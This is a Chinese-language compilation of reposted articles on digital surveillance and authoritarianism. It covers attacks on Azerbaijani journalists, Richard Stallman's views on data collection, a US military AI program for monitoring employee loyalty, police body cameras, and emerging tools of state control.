11月29日，人权律师 Nijat Mammadbayli 收到一封声称是 Meydan TV 社交媒体经理 Hebib Muntezir 的电子邮件。该电子邮件似乎是从 Slack 发送的，但要求 Nijat 确认munhab@protonmail.com 是 Hebib 的电子邮件地址。Mammadbayli 知道这是一个陷阱，当他几天后再次检查电子邮件时，该邮件中包含一条警告，“小心这条消息。类似的攻击方法已经被用来窃取人们的个人信息。除非您信任发件人，否则请勿点击链接或回复个人信息“。

独立媒体和反对派媒体的 YouTube 频道也经常受到针对性攻击。去年7月，由于“侵犯版权”，“Azad Soz”（言论自由）在收到三次攻击后被封锁在 YouTube 上。所谓的移除请求事实上的来源是内政部，但请求中引用的电子邮件地址指向 ladam4584@gmail.com，而不是内政部的官方邮箱—info@mia.gov.az 。 Hamam Times 是另一个受欢迎的 YouTube 频道，一直在定期遭遇删除。

记者说，阿塞拜疆对互联网的破坏、利用法律和恶意软件攻击来阻碍民间团体和独立公民的声音，最终损害了对媒体的信任。

“当权者发动的攻击会削弱公众对我们的信任，”Meydan TV 社交媒体经理 Hebib Muntezir 说。“我们的工作需要接收来自读者的各种爆料和泄密，但是一旦我们的帐户遭到入侵或攻击，揭秘者的个人信息就会被暴露出来，多次出现这类状况后人们就不会信任我们了”。

这篇报道中没有提到的是，透明度革命需要足够高的技术能力，可以应对所有这类攻击和监视，并确保举报人的身份保密性。技术是其中至关重要的硬件。参见我们分类知识列表1中的“透明度革命”部分。

更多详见《为什么技术有利于暴政？—— 一场你必须参与的政治斗争》

Surveillance and Internet Disruption in Baku The authorities in Azerbaijan don’t need to shut down the internet or social media. They can achieve control by disruption alone

原文

数字极权的警察国家——传奇程序员 Richard Stallman 谈隐私权的真正含义以及为什么他只使用现金 - iYouPort

你我的灾难现实技术暴政

A database about people can be misused in four ways. First, the organization that collects the data can misuse the data. Second, rogue employees can misuse the data. Third, unrelated parties can steal the data and misuse it. That happens frequently, too. And fourth, the state can collect the data and do really horrible things with it, like put people in prison camps. Which is what happened famously in World War II in the United States. And the data can also enable, as it did in World War II, Nazis to find Jews to kill.

「图」

「图」

Richard Stallman 是麦克阿瑟天才奖的获得者，现任自由软件基金会主席。

RS：什么是数据隐私？有人认为这个词意味着如果一家公司收集有关您的数据，它应该以某种方式保护这些数据。但我认为根本不在这，问题在于它收集了关于你的数据。我们不应该让他们这样做。

我不会允许他们收集关于我的数据。我拒绝使用那些知道我是谁的应用。不幸的是，有些地方我无法避免。即使是国内航班，也无法避免要被要求验证我是谁的信息。其实这是错误的。如果您没有跨国那种需要护照的旅行，否则就不必证明自己。

用处方也是这个道理，药房售药需要知道是谁获得的何种处方的信息。这些信息会被某些公司获得。但是他们没有很多机会给我展示广告，因为我没有使用任何让他们知道我是谁的网站。

所以问题的根本应该是数据收集这一行为的本身。收集到的数据会被

滥用，人们不应该允许这种收集。你可以说滥用不是绝对的，但它是一个肯定存在的极端状况，它足以令收集行为本身成为一个问题。

企业所收集的用户数据库能以四种方式被滥用：企业滥用、雇员滥用、不相关第三方窃取然后滥用，以及被国家滥用，比如送到集中营。这是美国二战中的著名事件。而且这些数据还可以像第二次世界大战中那样让纳粹发现犹太人去杀戮。

比如在中国，任何数据都能被可怕地滥用，而美国政府在数据保护上的记录同样不佳。当你把这一点与 Snowden 告诉我们的国家间谍活动以及爱国者法案联系在一起时，联邦调查局可以在没有法庭授权的情况下，将几乎所有的个人资料数据库都带走。你会能看到，让一家公司拥有你的数据是多么的危险。

我不想讨论这些公司的隐私政策。首先，隐私政策的编写能让它们看起来正在向你保证对隐私的尊重，而实际上却有各种漏洞，公司可以做任何事情。并且其次，该公司的隐私政策并没有采取任何措施阻止联邦调查局每周收集所有的数据。只要 FBI 感兴趣，他们就会拿走那些数据。

而且我们都知道，联邦调查局和其他这类机构倾向于将抗议者标注为恐怖分子。由此，他们使用声称保护我们免遭恐怖分子威胁的明显被采纳的法律来威胁我们，比任何恐怖分子的规模都大。

虽然我不想提及那些以硅谷这个名字收集个人数据的公司，因为那里还有其他一些公司在做与数字技术有关的其他事，也许他们正在制造一些无害的芯片。所以我宁愿不谈论硅谷。

纽约时报使用 “the Frightful Five”来指代那些新兴技术、数字垄断或者双寡头垄断。但首先，我认为它们是否垄断企业是次要问题，危险并不仅限于此。当然寡头垄断也是很危险的。但无论如何，他们并不是你想要的五家公司之一。正如你所看到的那样，任何一个知道你是谁的商店都做着同样的事，不管它的规模如何。

我从来没有告诉商店我是谁。我从来不让他们知道。出于这个原因，我只支付现金。我不管它是本地商店还是亚马逊 – 没有人有权跟踪我所购买的东西。当地的商店，我可能会跟它做生意，但我不会让它知道我的身份。但亚马逊你就无法支付现金，所以我不会从它那里买东西。

至于 Frightful Five，法国把他们称为 GAFAM（链接是 2月1号，

Julian Assange 的连线演讲，分析 GAFAM 的威胁性），它们可能有特殊的力量造成伤害。Facebook 确实如此。但其中每个都不同，他们正在做其他公司也在做的事，而其他公司做这些事时也同样的糟糕。

所以我认为，不必将目光盯住大型互联网公司，需要关注的是这种行为本身，所有公司不论规模大小，它们只要这样做就都是有害的。

这是一种不公正。这是对人权的不尊重，不是某家公司的个别问题。如今遍布大街小巷的摄像头，正在识别人的脸部，这是有多可怕呢，比 Google 或 Facebook 的恶行一点都不差。

某家技术公司提供这些监视技术，而监视由有政府完成的。一切跟踪都是危险的。一旦国家能使用这种东西，人权就彻底死了，因为抗议活动被彻底打压了。看看不久前各种所谓的执法机构是怎样试图粉碎反输油管道抗议活动的吧，还有各个州正在采取的或考虑采取的将其作为严重犯罪的法律，长期监禁抗议者的法律。

或者像在达科他州抗议活动期间那样切断记者的报道，因为他们宣布禁飞区，所以记者的无人机无法在那里拍摄维稳暴徒对抗议者所做的事。

看看这些事吧，这才是真正的危险所在，广告相比下算什么？所以你必需着眼于根本，不应该允许公司以投放广告的目的来获取你的数据。

为什么企业自认为收集数据是正当的？这个问题你可以追踪到过去二十年控制美国的新自由主义思想。一项研究表明，自1998年以来，一般的舆论对政治决定没有影响。政治决策受到富人的愿望和与任何问题有关的特殊利益的控制，而不是普通老百姓的意愿。

因此，希望收集人们数据的公司可以利用这种普遍的误导性意识形态来实现他们可能想要做的任何事。

我们需要一部法律。操他们的 – 没有理由允许他们的存在，如果代价是知道我们的一切。让他们消失。他们不重要 – 我们的人权很重要。没有哪家公司如此重要，以至于它的存在证明了建立警察国家的合理性。警察的状态就是我们正在走向的目标。

大多数非自由软件都具有恶意功能。它们包括监视人员、限制人员 – 这就是所谓的数字限制管理，后门、审查制度。从经验上讲，基本

上，如果程序不是自由软件，它基本会具有这些恶意功能之一。所以想象一下当然是由软件控制的无人驾驶汽车，它可能是专有软件，这意味着非自由软件，不受用户控制，而是由制造汽车的公司或其他公司控制。

想象一下，如果这个系统有一个后门，它可以让某人发出命令，说："忽略乘客说什么，然后去某地。"想象一下那将发生什么？中国那种国家会用这个方法来抓捕或惩罚当权者不喜欢的人。但你确定美国就不会这么做吗？

记住，所有的数据都可以随时提供给 FBI。记住要迫使公司发送远程控制命令或从中获得所需的所有秘密是多么容易。记住 Lavabit。 Lavabit 被命令监视该州所有用户。Ladar Levison 可以避免的唯一办法是立即关闭公司（我们的文章会详细写这件事，非常经典的可怕历史）。他能做到这点，因为公司属于他一个人。如果它是一个有股东的公共公司，想象一下它的主要责任是为股东赚钱的疯狂的意识形态，顺便说一下，在一些欧洲国家还没有被接受。直到20世纪80年代我才开始读到这个想法。在此之前，即使在美国，也承认公司有其他义务。

所以我们压根就不应该接受这个前提。但事实是，他们确实接受了这个前提，他们甚至不会梦想只因为它已经100%损坏、对所有用户进行间谍活动而关闭公司。苹果现在就在中国做这样的事。

他们是公司。公司被比作精神病患者。

一般新自由主义。贪婪是好的理念，无论利润是多少，这就是所需要的。当然，根据公司的业务情况，可能会有不同的令人讨厌的事情。苹果可以做的讨厌的事情与 Facebook 可以做的讨厌的事情不一样，也不是孟山都能够做的那些讨厌的事情，或者与金德摩根可以做的讨厌的事情相同。每个人都会根据自己的业务线在特定的情况下发现自己能做什么，状况会提示某些方式可以让人们摆脱困境而赚取更多的钱。但是，很明显，公司有其他义务与为股东赚钱一样重要。

我们需要一部法律。

拥有网站或应用程序的公司倾向于通过收集有关他们的数据来摧毁人们。我认为我们需要一部法律，要求每个系统的设计都能以尽可能少的数据收集来实现其基本目标。便利性不应该作为收集数据的主要理由。假设你想乘坐一辆汽车并支付车费。这从根本上不需要知道你是谁。那些必须遵守法律的服务才能让您选择支付现金或使用其他匿名

支付系统，而不会被识别。

他们也应该有方法可以让人们呼叫出租车而不需要识别自己，不必使用手机。那些不会这样做的公司 – 好吧，欢迎他们歇业。甩掉包袱。

在应该做的事情方面，我认为我们应该回去在实体店里卖东西，在那里你可以走进去并付现金。如果你想要一个他们存放在某个地方（不在这家商店）的产品，那么你应该能够放下一笔存款，让他们订购东西，然后再回来拿。而且他们不需要知道你是谁。他们可以给你一张收据，证明你已经支付了押金，以便以后可以回来取东西。

顺便说一句，我们不应该让商店做任何事情来追踪客户的动向。这种奇怪的做法再次是意识形态假设的结果，即企业应该被允许做任何他们喜欢的事情，除非人们设法制定法律。我认为，一般来说，不应该允许识别或追踪人，除非有一些具体的和非常强大的理由。

而且这个要求应该适用于系统，不管是什么组织运行它们，包括由城市、州和政府运行的系统。他们不应该被允许收集数据，除了已经批准的特定方式，并且批准应该要求证明隐私的危险在可允许范围内。原因是我们需要民主，而不是其他任何东西。美国的民主病灶已经彻底确立，并得到桑德斯支持者和 troll 支持者的认可，这是我们需要解决的问题。我们必须确保国家不能识别人，但唯一的办法就是确保公司在大多数时候都不能识别人。

另外，由于某种数字技术，我们面临着大量失业的威胁。其中一个失业领域当然是无人驾驶车造成的。有些超市和药店也有自助结账机。如果你使用这些机器，你会让其他人失去工作。当我意识到这一点时，我决定不会使用它们。我会一直去找人工销售代理，并帮助他们保持就业。我想我们可以允许无人驾驶车辆和自助结账，只要我们拥有像普遍基本收入这样的系统。

这是新自由主义的资本主义。它是无拘无束的资本主义。换句话说，它是富豪阶层。当这些公司通过游说收买政治家来控制我们的法律时，我们并不会真正拥有民主，而法律将使我们受到那些把我们视为猎物的公司的摆布。

那些大型公司应该缴纳更多税款，以便我们可以做我们需要做的事情。但是由于这些公司的运营本身就是有害的，仅仅让他们纳税是不够的。我们必须让他们停止以有害的方式做事，但不仅仅是那些大公司，还有小公司。

原文

深入你的大脑，窥探你是否忠诚 - iYouPort

技术暴政老大哥的真面目

中国读者对于政审可能再熟悉不过了。政审的目的是”确保你的忠诚”，但是它所参照的标准非常无用。现在有了一个新生的黑科技，可以通过实时地监视一个人的一举一动来判断此人是否忠诚、以及在其”变心”之前及时预测到。这是谁研究出来的玩意？

「图」

「图」

你足够忠诚吗？你的雇主和专制政权对这个问题有着持续浓厚的兴趣。现在，有一种方法可以帮他们找到满意的答案 — — 是帮他们，不是帮你。

一项新的启用AI的试点项目旨在 感知具有绝密许可的人的行为中的“微观变化”，以预防你的忠诚度有变 。如果它有效，它很可能就是企业和政府部门人力资源的未来。

美国军队在人力资源方面的工作主题就是：评估成千上万的员工的忠诚度，或者说保密的能力。他们最担心的是其中暴出一两个透明度革命家。

这项任务的核心是所有劳资关系的核心问题：您如何知道何时延长信任何时终止信任？

国防安全局（DSS）办公室认为，人工智能和机器学习可以提供帮助。其新的试点项目旨在对持有或正在寻求安全许可的人进行筛选，其过程应用大量数据。

其目标不仅仅是*发现*那些背叛了他们信任的员工，而且，要*预测*哪些员工有可能会背叛 — — 也许是通过冷静的对话而不是惩罚来解决问题（可谁知道呢）。

如果试点证明成功，它可以为企业人力资源的未来提供一个模型。但这一概念还为雇主提供了前所未有的监视窗口，让他们了解工人的数字化生活，在大数据和人工智能时代就雇主、员工和信息之间的关系提出新的问题。

该试点据称是基于迫切需要。去年6月，国防部接管了安全检查积压工作的任务 — — 超过60万人等待审核。根据国家背景调查局9月份的一份报告，有些人 — — 以及想雇用他们的组织 — — 等待了一年多。这些延迟源于一个过时的系统，涉及将问卷邮寄到以前的工作场所，等待（和希望）回复，并将退回的纸质文件扫描到大型数据库中。在云计算出现之前就已存在的那种大型数据库。

除了过时之外，这个过程在过去只能作为表面化程度上描述一个人。用官员们的话说就是，作为未来行为的一个指标，它非常缺乏可靠性。

于是DSS全国背景调查服务部研发了这种技术，由 Mark Nehmer 领导了，以创造一种 衡量潜在员工“不忠之风险” 的新方法。

今年春天，DSS 推出了他们所谓的“基于风险的用户活动试点”。它涉及全面地收集个人的数字足迹或“网络活动”，基本上是目标人在网上做的一切，然后将其与其他数据进行匹配。分析结果让国防部对此人有所了解。

由于“在线”信息基本已经涵盖了一个人所有的生活，他们希望，其数据分析效果将能够成为一个人之生活的完整快照。

“我们预计秋季会有早期结果，”DSS 官员周二在一封电子邮件中表示。

早前国防部已经进行了一些针对数字用户活动的监测。但是该项计划寻求的信息比目前的标准要多得多。

“在国防部，用户活动监控通常围绕端点构建。想想你的笔记本电脑吧。它只是监控笔记本电脑上的活动。Nehmer 在11月份的公司简报中表示，它不会查看可用的任何其他网络数据“ — — 可能是一个人的20％可用数字信息， C3 是一家位于加利福尼亚的技术公司，作为该试点的合作伙伴。

该项技术的尝试寻求更全面的数字信息，然后将其与国防部内外的其他数据相结合，利用机器学习算法获得洞察力。“ 一旦完全构建，它

将会查看您生成的绝大部分网络数据 ，”Nehmer 说。（数据完全来自国防部拥有的设备，而非个人系统）

该项目还将引入一个人在其标准表格上填写的材料 — 基本上表示由寻求安全许可的人填写，以及其他与网络活动无关的数据。“ 我们不只是要查看你在个人计算机上做了什么，还有其他在网络世界中没有表现出来的人类行为数据 ”，他说，意味着那些数据不是机器学习程序容易消化的格式。

这些数据将加入所谓的 持续评估系统 ，这是指监控与待审核者有关的生活事件，例如结婚或离婚、大量债务或获得突然的意外收获、纳税申报、逮捕、突然的外国旅行等等。目前有超过一百万军事人员参加现有的连续评估系统。

Nehmer 说，最终的目标是不仅可以感知到即将发生的内幕犯罪，而且可以感受到更为隐秘的存在状态; 如果你愿意的话还可以在犯罪前预测到。

“我们可以据此评估个人所产生的活动是否在增加、减少或保持在相当规范的范围内。如果这一变动保持在规范的范围内，可能就没有问题。如果他们的活动急剧增加，可能会有压力。但是有很多方法可以衡量活动。如果它显著下降，可能会有一些外部控制因素。“

换句话说， 所收集的数据不仅是窥探一个人过去的窗口，也能体现他们目前当下的心态，或者 **Nehmer** 所说的行为中的“微观变化”。

“我们将这些数据构建成一个模式，以便我们可以检测整个生活模式中行为的微小变化，从而我们可以发现目标人的压力在哪，”他说。“从根本上说，我们在那里寻找行为的微观变化，这可能表明一个人对继续与国防部的关系的兴趣是否有变化，或者与生活的联系是否有变化，”他说，具体提到退伍军人自杀的流行性问题。“如果我们的工作正确，我们可以帮助防止自杀、或其他人们在压力下选择的不明智行为，”他说。

当然， 很多人可能感觉害怕，关于他们的雇主正在密切监视他们的行为以发现所谓的“微观变化”，特别是，如果他们可能因这些“变化”而被分析出来的结果遭受惩罚的话 。

这适用于那些为保密或绝密许可带来的巨大特权和权力而交换自己的隐私的人。这是一种权衡，但并不容易。

Nehmer 非常清楚这一点。他坚持认为，目标不是紧密监视；它是为了在雇员开始讨厌他们工作的地方或他们正在做的事之前，在惩罚变得必要之前揭示情绪、前景或行为的变化。

正如 Nehmer 所描述的那样，最好的结果是在犯罪之前，当任何工作场所问题处于萌芽状态时; 或“检测生命模式的变化，这些变化可能表明个人正在进入需要某些干预的位置。如果我们正确地开展工作，这种干预最有可能只是与他们交谈，进行对话，“他说，“我们不想失去我们宝贵的员工。并希望帮助有价值的员工成为宝贵的员工”。

实现这一目标将需要大量数据; 国防部内的数据收集并不是一个简单的过程。“至少在几年前，国防部共有15,000个主要系统，每个系统配置不同，每个系统都会输出不同类型的数据。然后你就拥有了与人员相关的所有这些不同的东西，并且每个系统都以不同的方式描述了一个事件，“Nehmer 说。

它还需要通过与其他政府和商业实体的数据共享合作伙伴关系，即使数据不在国防部内也能找到。 Nehmer 不想确切地说出究竟都有哪些实体，但它指的是该部门合法访问的所有数据，作为其筛选员工忠诚度和反情报活动的一部分。

尽管如此，让这些实体为新的员工监控应用程序共享数据还需要进行大量的法律协商。如果必须重新协商数据共享伙伴关系以允许持续评估或用户活动监控，则可能需要9个月。但依旧有很多数据共享合作伙伴关系可以解决。Nehmer 表示， 他们会与律师合作花费大量时间使共享符合法律规定，并获得有效的数据 。

关于该项技术是否会创建DSS希望构建的“私密生活快照”，这仍然是一个悬而未决的问题。如果是，它将为[全世界]使用数据预测和管理员工设定新的标准。

当您寻找具有高度敏感的所谓国家机密的相关工作时， 您必须同意放弃大量人权 。因此，目前尚不清楚用户活动监控技术将如何复制到没有国家安全利益的私营公司。但如果它有效，未来的公司可能都会希望实施类似的东西，为监控员工创造新的规范。

Nehmer 所描述的系统对外部公司的吸引力当然取决于几个因素：该私密生活快照是否实际上导致工作能力提高，而不仅仅是降低风险; 而且，最重要的是，员工是否认为参与此类监控会获得奖励，他们是否愿意参与其中。

在某些情况下，如果参与的结果确实不那么令人紧张，工作更好，与领导人建立更好的关系，等等，那么这些奖励可能会证明员工或求职者的心态暴露是合理的。

然而在像科技这样的行业中，企业为获得合格的申请人而努力竞争，很难想象有才能的员工会报名参加这种他们的数据总是被用来对付他们的监控计划。但同样具有竞争力的员工可能会为此所吸引（只要他们了解系统的运作方式。）

在其他情况下，如果管理人员选择使用监控来增加不良业绩的成本而不提供奖励，那么未来的员工监控可能会变成真正奥威尔式的世界。

还有其他问题。目前尚不清楚用户活动监测的广泛采用会起到什么样的影响，例如，官员在背地里与媒体沟通，或内部官员参与透明度革命，或其他在道德上的合理行为但可能对组织产生负面影响。

但这些结果都不是技术的直接结果，而是未来管理者的自由裁量权。有些老板很好，但有些不好。在未来，每个人都将被这种深入内心的监视全面扒光。你觉得这件事值得思考吗？○

T he US Military Is Creating the Future of Employee Monitoring . “We are putting these into a construct so that we can detect minute changes in behavior across an entire pattern of life, so that we can detect stress.”

原文

美国间谍、和匿名真相 - iYouPort

地缘政治技术暴政

斯诺登揭露的东西并不是*新鲜事*

研究人士多次警告，斯诺登揭露的东西并不是新鲜事。隐形政府＋间谍全球是某种传统，只是谷歌等科技巨头的技术给了这一“传统”以前所未有的增长和肆虐。

再推荐一本书《American Spies》这是 2016 年 Palmer 公民自由奖得主，充分揭示了对硅谷的监视资本主义应有的恐慌。您可以在这里下载这本书的电子版：https://t.me/iyouport/6612

加上以前推荐过的各种书籍、文档资料和论述（如下），能够更好的理解这一问题：

- 延伸阅读：关于什么是“军事工业联合体”及其内幕《Spies for Hire》
- 真正做政治决策的是情报机构而不是白宫《United States overseas operations: Role of CIA—Jacob G. Hornberger》
- CIA 如何创造谷歌间谍全球《How The CIA Made Google》
- 《关于”五眼联盟”的最新披露文件：科技产业巨头为什么能成为巨头？》“今天主宰智能行业的许多公司都是当年通过向情报界提供技术服务和产品而开始的（否则他们没有今天这般强大）”，“大多数情报工作不是由政府机构执行的，而是私人情报公司，而且大部分工作涉及情报工作的另一个共同方面：欺骗”……
- 推荐一本书，最彻底地揭示这个互联网究竟是什么《监视谷》
- “帝国几乎放弃了对实际领土的诉求，但他们把目光转向了基础设施，以互联网的形式维持他们权力”；我们要对来自可信来源的时效性信息采取行动，而不是等着技术去整合分析和验证每个事实。如果只是等待，一切都会变的太晚……再推荐一本书《新黑暗时代：技术与未来的终结（New Dark Age: Technology and the End of the Future）》
- 《前 Facebook 高管讲述了社交网络的真相》

- 《新纪录片揭示 Facebook 和谷歌的真面目》

2016年，芝加哥—肯特法学院/ Roy C. Palmer 公民自由奖授予 Laura K. Donohue，她的著作《外国情报的未来：数字时代的隐私和监视》（牛津大学出版社2016）和 Jennifer Stisa Granick 她的著作《美国间谍：现代监视，为什么你应该关心，以及如何处理它》（剑桥大学出版社，即将出版2017）。

Laura Donohue 是乔治城大学法律中心的法学教授、国家安全和法律中心主任，以及隐私和技术中心主任。她的奖学金专注于宪法、法律史、新兴技术和国家安全法。她屡获殊荣的《外国情报的未来》一书记载了第9修正案之后大规模政府监视计划如何削弱了第四修正案的隐私权，并提供了解决方案。

Jennifer Granick 是斯坦福大学法学院讲师、斯坦福大学互联网与社会中心的公民自由主任。Granick 撰写了有关计算机犯罪与安全、电子监控、安全漏洞披露、加密政策和第四修正案的文章。在她的获奖作品“美国间谍”中，Granick 展示了监视法案如何落后于监视技术，为美国间谍提供了巨大的新权力，并引导读者通过提出控制大规模监视的建议，最终目标是监督改革。

在这里看到她的访谈《American Spies: Live with author Jennifer Granick》

从2012年到2017年，Granick 专门研究监视法案、网络安全、加密政策和第四修正案。她以此身份广泛发表了关于美国政府的监视实践的研究，并在这些问题上帮助法官和国会工作人员。 Granick 还在2007年至2010年期间担任电子前沿基金会的公民自由主任。在她的职业生涯早期，Granick 花了将近十年的时间在加利福尼亚州执行刑事辩护法。

Granick 的作品在隐私和安全界广为人知。 2015 年黑帽美国安全会议的主题演讲“革命的生命周期”使观众受到同等的影响。2016年3月，她凭借在该领域的专业知识以及她对安全行业年轻女性的指导和影响，获得了 Duo Security 的女性安全学术奖。参议员罗恩·怀登（D-Ore）称 Granick 为“NBA 监控法全明星”。

Two books about government surveillance win 2016 Palmer Civil Liberties Prize: The Future of Foreign Intelligence: Privacy and Surveillance in the Digital Age; American Spies: Modern Surveillance, Why You Should Care, and What to Do About It

原文

身体相机适得其反吗？中国正在开始流行这种东西 - iYouPort

技术暴政

身体相机本来的用途应该是满足问责制。但是现在发生了什么？

我们收到消息说中国一些城市的巡逻警察正在使用身体相机。

事实上身体相机已经在全球很多国家流行多年了。一开始它的目的是问责制 —— 记录警方在执法过程中的行为，在受害人申诉的情况下可以拿出来作为证据。因此它曾经一直被民权组织支持。

在英国，已有15万警官已经配备了身体相机，而且，医院和学校中也使用了大量的身体相机，一些地方当局还试图迫使出租车司机也使用这种监视设备……

但是，多年来的事实证明，这种东西不仅换不来正义，反而成为了更严重的监视工具。就如中国读者普遍了解的状况：当需要伸张正义的时候摄像头总是不好用。

The Atlantic 关于这件事的思考也许会给中国的权利组织一些提示。

「图」

「图」

NEW YORK, NY – DECEMBER 03: New York Police Department (NYPD) Officer Joshua Jones demonstrates how to use and operate a body camera during a press conference on December 3, 2014 in New York City. The NYPD is beginning a trial exploring the use of body cameras; starting Friday NYPD officers in three different precincts will begin wearing body cameras during their patrols. (Photo by Andrew Burton/Getty Images)

2014年，警务人员 Darren Wilson 在密苏里州弗格森的一条街道上枪杀了一名手无寸铁的黑人少年，他名叫 Michael Brown，那时候警察的野蛮行径飙升至全国种族平权辩论的中心。

激进主义者争辩说，执法需要更多的问责制，而身体相机就此成为了该州首选的纠正措施。

奥巴马政府的司法部在 Michael Brown 去世后的2015年，为这种新的身体相机提供了超过2300万美元的赠款，在2016年又提供了2000万美元。

当时的候选人希拉里·克林顿（Hillary Clinton）呼吁在全国范围内强制性使用这种身体相机。

2018年，纽约法官要求所有NYPD警官都佩戴这种身体相机，以作为结束“拦截询问和整顿”程序的努力的一部分。警务的未来似乎已经到来。

然而，不到五年之后，这种势头开始放缓。据称身体相机的地位目前已经一落千丈；由于数据被删除或错误标记。

一份2018年的报告发现，大多数警方致命枪击事件中采取的身体相机镜头从未被公开过。截至去年6月，纽约警察局"已经积压了将近800个申请查看镜头的请求"。

现在，一些警务改革的拥护者认为，最近的技术进步意味着这些摄像机已越来越多地被用于监视公众，而非监督警察。

录制的素材会被上传到所谓的云端，从而使警察可以保存更多的图像和视频，并保留更长的时间。

还有物体识别功能，使警察可以在长达数小时的录像中通过快速搜索以找到感兴趣的任何物品（例如“红色背包”）。

通过串流直播，警察们可以将他们看到的一切几乎立即发送回总部。

从理论上讲，曾经笨拙、缓慢且容易出错的面部识别现在可以从理论上将任何警员胸前佩戴的身体相机转变为复杂的监视设备 —— 以识别路过的任何人。

在公民自由组织集结起来阻止执法部门在旧金山和奥克兰等城市使用面部识别之后，加利福尼亚州也禁止了在身体相机中使用这项技术。

- 《禁止面部识别可以做到什么、不能做到什么》

美国公民自由联盟（ACLU）赞扬制止身体相机的法律，他们指出：身体相机已经“被转变为可以追踪我们的面部、声音甚至是我们独特行走方式的移动监视设备”。

现在，警察问责制激进主义者与隐私激进主义者背道而驰了。

隐私激进主义者担心不可避免的拉网监视会导致任何人都有被扫描、识别以及与犯罪或移民数据库相匹配的风险，而这些人甚至完全没有犯罪嫌疑。

“对于我们来说，戴在身上的相机是一种积极的产品。从倡导者的角度来看，情况要复杂得多。” 平民投诉审查委员会负责人 Jonathan Darche 说，该委员会调查了针对纽约警察局警官的不当行为指控。

“ 身体相机使我们能够比没有录像时更频繁地发现任何特定事件发生的情况。通过它，我们可以确定究竟是使用了 … 谨慎的态度还是使用了不适当的威胁，而这对于我们的机构而言是真正的游戏规则改变者。”

CCRB 的首要目标是警察问责制。当某人对警察的不当行为提出指控时，该委员会将通过审查病历、获取视频证据，并与投诉人、作出回应的官员和潜在证人的访谈来进行调查。

公用CCTV摄像机的质量可能很差，很少有音频，拍摄质量和声音对于一个声称口头骚扰或威胁的案例来说至关重要。

旁观者通常仅在发现问题后才开始使用自己的手机录制视频，因此有可能错过有用的环境信息。

另一方面，身体相机会自动保存警官按下“记录”之前30秒钟的镜头，Darche 说，这一进展对调查产生了很大影响。

他说：“我们能够在人们意识到该事件需要被记录之前看到发生了什么。”

但是，隐私权和移民权利倡导者则认为，有些时候，身体相机可以带来了解，却不能带来正义。

“您可以围绕 Eric Garner 案思考这件事，”Make the Road New York 的组织者 Kesi Foster 说，该组织着重于移民的权利和警察的责任。

他说："每个人都能看到该视频中发生的事，" 他指的是纽约警察局局长 Daniel Pantaleo 的病毒式传播录像，他使 Eric Garner 处于致命的窒息状态，"尽管如此，仍然需要花五年的时间、在组织和社区的压力下…… 要求一名官员负责。"

而且，越来越多的人担心身体相机被用来监视市民。

最近，电子前沿基金会（EFF）向海关和边境保护局发布了信息自由请求（RFI），表明其对配备面部识别功能的身体相机的兴趣。

摄像头可以将人的面部与预先存在的图像数据库（例如，大头照或驾驶执照照片）实时匹配，例如，使 CBP 官员几乎可以通过扫描一个途经的人来即时确认此人的身份。

面部识别技术的广泛采用意味着只要你出门，就会面临被扫描的风险 —— 这可能对生活在CBP例行巡逻的边境社区的移民产生巨大的寒蝉效应。

CBP 等生物识别数据库也吸引了黑客，他们可以在暗网上出售有价值的信息。

3月，美国海关边防总署宣布，黑客从分包商那里窃取了数千名旅行者的身份证照片和车牌图像。

如果CBP的数据库扩展到包括从其提议的身体相机项目中生成的图像，那么将有更多的人容易受到安全漏洞的攻击。

EFF 的报告是提醒联邦机构试图将面部识别技术应用于其身体相机的首次迹象。没有CBP采用配备面部识别功能的身体相机的时间表，也没有迹象表明是否有任何公司对RFI做出回应。〇

原文

高科技威权主义浪潮 - iYouPort

技术暴政

历史上一个最重要教训就是，崩溃的金融体系会引发专制政治.....至少有七大噩梦正在成真，它们都是些什么？应该怎么办？

「图」

「图」

历史上一个最重要教训就是，崩溃的金融体系会引发专制政治.....

今天的世界正在遵循这个脚本，因为不断上升的债务导致几乎每个举行自由选举的国家都发生了政治变化，而法西斯主义再次被那些在正常时期居住在政治中心的人们认真对待。

但这次有一个很大的不同：社会控制技术正处于史无前例的先进状态。过去的政府在试图遏制不同意见时，仅仅能限于愚蠢的工具政策，如宵禁、电话窃听和断线。而今天的老大哥可以做得更多，并且在许多情况下把“即将到来的金融/政治紧急事件”作为借口，将奥威尔的谚语变成公民脖子上的枷锁。

华尔街日报最近一篇题为“Autocrat 的新工具包”的文章中有一些例子：

- 中国当局现在正在使用大数据工具来检测该国新疆地区穆斯林的“行为“—然后确定每个所谓的离经叛道，以将其变为针对性监视目标；
- 埃及政府计划今年晚些时候从开罗搬迁到一个尚未命名的新首都，正如该项目的发言人所说的那样，“到处都有摄像机和传感器”、“一个控制整个城市的指挥中心”。
- 莫斯科已经安装了约5000台带有面部识别功能的摄像机，它可以将护照数据库、警察档案和社交媒体上的照片，与当局感兴趣的面孔相匹配。

虽然这些事听起来很可怕，但与即将到来的状况相比的话，它依旧是粗糙的。那么即将到来的是什么？如下这些算是*至少*级别上的：

“微观定位”—— 使政府能够建立公民的人格评估，并为目标的心理弱点量身定制宣传。据报道，俄罗斯互联网研究机构在2016年美国总统竞选期间从 Facebook 收集数据，为个人选民制作特定信息。而私营公司正在开发此类人工智能技术，可以为整个人群自动化这种定制—— 简称定向洗脑。由于每个人的心理弱点不尽相同，于是首先研究出目标人最薄弱的缓解，针对性的制作洗脑模版，将产生极高的效果。你可以理解为大规模社交工程。

这并不奇怪，因为这正是集中化互联网的最基本可利用“价值”，详见IYP早年的分析《当 “不作恶” 成为空谈，“定制人”将终结民主》

机器人—— 仿效人类博主的算法—— 将很快与人类无法区分，也就是说，能够谴责反政权活动家、攻击竞争对手、并以栩栩如生的方式放大支持国家政权的信息。

深度造假—— 现在可以创建几乎与真实无法区分的假图像、声音和视频。大众无法知道他们所看到和听到的是真实的还是政府故意制造的假货。IYP 对此有过详细介绍，见《当恶意者掌握技术：信息战的未来究竟有多可怕？》

AI剖析—— 人工智能正在学习从我们的社交媒体帖子中提取“态度、情感和意图”，让政府能够在异议进入行动之前瞄准异议。事实上不需要 AI 也能做到这种提前维稳式的监控，IYP 做过一个开源调查演示，详见《情感分析：如何在社交网络上抓取并分析大众对某些话题的情绪？》以及案例《对特朗普推文的情感分析：Python 🐍》

超级“智能“卡—— 委内瑞拉推出了自己的“carnet de la patria”（祖国卡），这是一种基于智能芯片的识别标准，公民需要此卡才能获得医疗保健和补贴食品等政府服务。人权观察报告称，该卡也可以捕获投票历史记录。没错，它就是个监视器。那么中国的各种“一卡通”呢，您应该知道它是什么了。

